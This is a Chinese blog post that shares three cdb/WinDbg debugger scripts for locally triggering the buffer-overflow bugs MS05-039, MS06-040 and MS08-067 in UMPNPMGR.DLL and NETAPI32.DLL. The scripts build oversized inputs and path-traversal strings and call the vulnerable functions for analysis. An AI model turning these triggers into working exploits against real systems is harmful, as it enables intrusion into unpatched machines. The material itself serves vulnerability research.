注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

一些调试脚本  

2013-07-26 12:32:42|  分类: 方法技巧 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

做了几个利用程序的调试脚本,这样就可以不用编写代码,

只要在调试器里构造脚本,方便修改方便调试!

运行的时候随便找一个宿主,如记事本。

cdb notepad.exe

之后发布

$<c:\dbg\05039.x

导入脚本即可。

重运行,可发布

.restart

再导入脚本即可。

 

第一个调试脚本:

*** MS05039调试脚本 ***
*运行到入口处
g @$exentry
*分配内存
r @$t0=00e00000
.dvalloc /b @$t0 10000
*要载入的目标模块
ezu @$t0 "C:\\TEMP\\test\\UMPNPMGR.DLL"
*保存一些值到寄存器
r
eax=@$t0
r esi=@$t0+200
*汇编载入目标模块并调用函数
a @$t0+100
push @esi
push @eax
call kernel32!LoadLibraryW
pop @esi
nop
nop
push 0
push 4
push 0
push 21
push @esi
push 0xffff
push 0
push 0
call 76746e07
nop
nop
int 3

*构造数据,偏移10h,大小200h
ed @$t0+200+4 10 200
f @$t0+200+30 l 200 'A' 'B' 'C'
*更改流程到汇编码
r
eip=@$t0+100
g

 

第二个调试脚本:

*** MS06040调试脚本 ***
*运行到入口处
g @$exentry
*分配内存放汇编码
r @$t0=00e00000
.dvalloc /b @$t0 4000
*分配内存放数据
r @$t1=00e10000
.dvalloc /b @$t1 10000
*要载入的目标模块
ezu @$t1 "C:\\TEMP\\test\\NETAPI32_2K.DLL"
*保存一些值到寄存器
r
esi=@$t1
*汇编载入目标模块并调用函数
a @$t0
push @esi
call kernel32!LoadLibraryW
nop
nop
push 0
push 0x00e15000
push 0x00e14000
push 500
push 0x00e12000
push 0x00e11000
call 7517f7e2
nop
nop
int 3

*******************************************
*构造数据a1=00e11000 输入宽字符串2
f 00e11000 l 105*2+2*3 'B' 00
ed 00e11000+105*2+2*3 88888888
*******************************************
*构造数据a2=00e12000 输出缓冲区
*构造数据a3=500 输出缓冲区长度
*构造数据a4=00e14000 输入宽字符串1
f 00e14000 l 103*2 'A' 00
*构造数据a5=00e15000 指向宽字符串1的指针
ed 00e15000 00e14000
*构造数据a6=0 整数

*更改流程到汇编码
r
eip=@$t0
*ba e1 7517f7e2
ba e1 7517fc68 "dd esp l8;g"
g

第三个调试脚本:

*** MS08067调试脚本 ***
*运行到入口处
g @$exentry
*分配内存放汇编码
r @$t0=00e00000
.dvalloc /b @$t0 4000
*分配内存放数据
r @$t1=00e10000
.dvalloc /b @$t1 10000
*要载入的目标模块
ezu @$t1 "C:\\TEMP\\test\\NETAPI32_2K.DLL"
*保存一些值到寄存器
r
esi=@$t1
*汇编载入目标模块并调用函数
a @$t0
push @esi
call kernel32!LoadLibraryW
nop
nop
push 0
push 0x00e15000
push 0x00e14000
push 500
push 0x00e12000
push 0x00e11000
call 7517f7e2
nop
nop
int 3

*******************************************
*构造数据a1=00e11000 输入宽字符串2
f 00e11000 l 10*2 'B' 00
*******************************************
*构造数据a2=00e12000 输出缓冲区
*构造数据a3=500 输出缓冲区长度
*构造数据a4=00e14000 输入宽字符串1
f 00e14000 l 5b*2 'A' 00
eu 00e14000 "
\\c\\..\\..\\AAAAAAAXX"
*构造数据a5=00e15000 指向宽字符串1的指针
ed 00e15000 00e14000
*构造数据a6=0 整数

*更改流程到汇编码
r
eip=@$t0
bp msvcrt!wcscpy ".echo ===wcscpy===;dd esp l3;g"
g

  评论这张
 
阅读(117)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017